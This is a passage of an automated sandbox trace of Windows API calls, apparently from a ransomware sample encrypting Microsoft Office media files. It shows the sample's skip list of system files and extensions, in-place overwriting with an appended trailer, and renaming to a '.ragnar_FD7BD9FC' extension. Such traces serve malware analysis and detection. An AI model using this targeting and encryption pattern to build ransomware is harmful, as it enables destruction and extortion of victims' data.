office\\media\\cagcat10\\j0332268.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.364] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0096.364] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.364] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0332364.WMF" | out: lpString1="J0332364.WMF") returned="J0332364.WMF" [0096.364] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF") returned=".WMF" [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="autorun.inf") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="boot.ini") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="bootfont.bin") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="bootsect.bak") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="bootmgr") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="bootmgr.efi") returned 1 [0096.364] lstrcmpiW (lpString1="J0332364.WMF", lpString2="bootmgfw.efi") returned 1 [0096.368] lstrcmpiW (lpString1="J0332364.WMF", lpString2="desktop.ini") returned 1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="iconcache.db") returned 1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="ntldr") returned -1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="ntuser.dat") returned -1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="ntuser.dat.log") returned -1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="ntuser.ini") returned -1 [0096.370] lstrcmpiW (lpString1="J0332364.WMF", lpString2="thumbs.db") returned -1 [0096.370] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.370] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.370] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.370] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.371] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.372] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.372] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf")) returned 0x20 [0096.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.375] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18370) returned 1 [0096.375] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x47b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.375] GetProcessHeap () returned 0x580000 [0096.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.375] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.378] VirtualAlloc (lpAddress=0x0, dwSize=0x47c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.380] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.380] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.380] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x47c2, lpOverlapped=0x0) returned 1 [0096.397] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.397] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.397] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x47c2, lpOverlapped=0x0) returned 1 [0096.401] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.401] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.401] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x47c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.402] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.402] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.402] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.402] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.402] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.403] GetProcessHeap () returned 0x580000 [0096.403] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.403] CloseHandle (hObject=0x104) returned 1 [0096.403] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" [0096.403] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.ragnar_FD7BD9FC" [0096.403] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.405] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0096.406] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.406] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0335112.WMF" | out: lpString1="J0335112.WMF") returned="J0335112.WMF" [0096.406] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF") returned=".WMF" [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="autorun.inf") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="boot.ini") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="bootfont.bin") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="bootsect.bak") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="bootmgr") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="bootmgr.efi") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="bootmgfw.efi") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="desktop.ini") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="iconcache.db") returned 1 [0096.406] lstrcmpiW (lpString1="J0335112.WMF", lpString2="ntldr") returned -1 [0096.407] lstrcmpiW (lpString1="J0335112.WMF", lpString2="ntuser.dat") returned -1 [0096.407] lstrcmpiW (lpString1="J0335112.WMF", lpString2="ntuser.dat.log") returned -1 [0096.407] lstrcmpiW (lpString1="J0335112.WMF", lpString2="ntuser.ini") returned -1 [0096.407] lstrcmpiW (lpString1="J0335112.WMF", lpString2="thumbs.db") returned -1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.407] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.407] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf")) returned 0x20 [0096.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.409] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8036) returned 1 [0096.409] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.409] GetProcessHeap () returned 0x580000 [0096.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.409] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.414] VirtualAlloc (lpAddress=0x0, dwSize=0x1f64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.415] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.417] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.417] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f64, lpOverlapped=0x0) returned 1 [0096.418] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.418] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f64, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.418] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f64, lpOverlapped=0x0) returned 1 [0096.420] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.420] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.420] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.420] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.422] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.422] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.422] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.422] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.422] GetProcessHeap () returned 0x580000 [0096.422] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.422] CloseHandle (hObject=0x104) returned 1 [0096.422] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" [0096.422] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.ragnar_FD7BD9FC" [0096.422] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.423] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0096.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.423] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0336075.WMF" | out: lpString1="J0336075.WMF") returned="J0336075.WMF" [0096.424] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF") returned=".WMF" [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="autorun.inf") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="boot.ini") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="bootfont.bin") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="bootsect.bak") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="bootmgr") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="bootmgr.efi") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="bootmgfw.efi") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="desktop.ini") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="iconcache.db") returned 1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="ntldr") returned -1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="ntuser.dat") returned -1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="ntuser.dat.log") returned -1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="ntuser.ini") returned -1 [0096.424] lstrcmpiW (lpString1="J0336075.WMF", lpString2="thumbs.db") returned -1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.424] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf")) returned 0x20 [0096.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.425] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=52890) returned 1 [0096.425] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xce91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.425] GetProcessHeap () returned 0x580000 [0096.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.425] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.426] VirtualAlloc (lpAddress=0x0, dwSize=0xce9a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.427] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.427] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.427] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xce9a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xce9a, lpOverlapped=0x0) returned 1 [0096.428] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.429] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce9a, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.429] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xce9a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xce9a, lpOverlapped=0x0) returned 1 [0096.429] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce9a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.429] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.429] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xce9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.429] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.429] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.430] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.430] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.430] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.430] GetProcessHeap () returned 0x580000 [0096.430] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.430] CloseHandle (hObject=0x104) returned 1 [0096.430] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" [0096.430] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.ragnar_FD7BD9FC" [0096.430] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.431] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0bce20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8b0bce20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0096.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, 